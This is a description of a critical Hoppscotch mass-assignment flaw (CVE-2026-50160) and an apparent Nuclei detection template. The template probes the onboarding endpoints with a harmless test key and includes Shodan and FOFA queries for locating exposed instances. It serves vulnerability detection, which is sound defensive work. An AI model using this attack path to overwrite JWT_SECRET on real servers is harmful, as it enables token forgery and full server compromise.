Hoppscotch self-hosted backend <= 2026.4.1 contains a broken authentication caused by mass assignment via unauthenticated POST /v1/onboarding/config endpoint, letting unauthenticated attackers overwrite JWT_SECRET to forge tokens and fully compromise the server, exploit requires attacker to access fresh instance before onboarding completes or when no users exist.
PoC
id: CVE-2026-50160
info:
name: Hoppscotch <= 2026.4.1 - Mass Assignment JWT_SECRET Overwrite
author: str4k3r
severity: critical
description: |
Hoppscotch self-hosted backend <= 2026.4.1 contains a broken authentication caused by mass assignment via unauthenticated POST /v1/onboarding/config endpoint, letting unauthenticated attackers overwrite JWT_SECRET to forge tokens and fully compromise the server, exploit requires attacker to access fresh instance before onboarding completes or when no users exist.
impact: |
Unauthenticated attackers can forge JWT tokens and fully compromise the server, including administrator access.
remediation: |
Update to version 2026.5.0 or later.
reference:
- https://github.com/hoppscotch/hoppscotch/security/advisories/GHSA-j542-4rch-8hwf
- https://nvd.nist.gov/vuln/detail/CVE-2026-50160
- https://github.com/hoppscotch/hoppscotch/pull/6171
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
cvss-score: 10.0
cve-id: CVE-2026-50160
epss-score: 0.01701
epss-percentile: 0.76059
cwe-id: CWE-915
metadata:
verified: true
max-request: 2
vendor: hoppscotch
product: hoppscotch
shodan-query: http.title:"Hoppscotch"
fofa-query: title="Hoppscotch"
tags: cve,cve2026,hoppscotch,mass-assignment,jwt
flow: http(1) && http(2)
http:
- raw:
- |
GET /v1/onboarding/status HTTP/1.1
Host: {{Hostname}}
Accept: application/json
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "canReRunOnboarding")'
- 'contains(body, "\"onboardingCompleted\":false") || contains(body, "\"canReRunOnboarding\":true")'
condition: and
internal: true
- raw:
- |
POST /v1/onboarding/config HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Accept: application/json
{"CVE_2026_50160_DETECT":"true"}
matchers:
- type: dsl
dsl:
- 'status_code == 400'
- 'contains(body, "VITE_ALLOWED_AUTH_PROVIDERS")'
- '!contains(body, "should not exist")'
condition: and
# digest: 4a0a004730450221008b84e6d8b697643607cd7885e1014c27cfa0c5b3a0f71700798c14fefbf66ce502203c43241564fb482e44b19066cf366df95cd2bdce7f0fab1c6f010ad20988e2bd:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.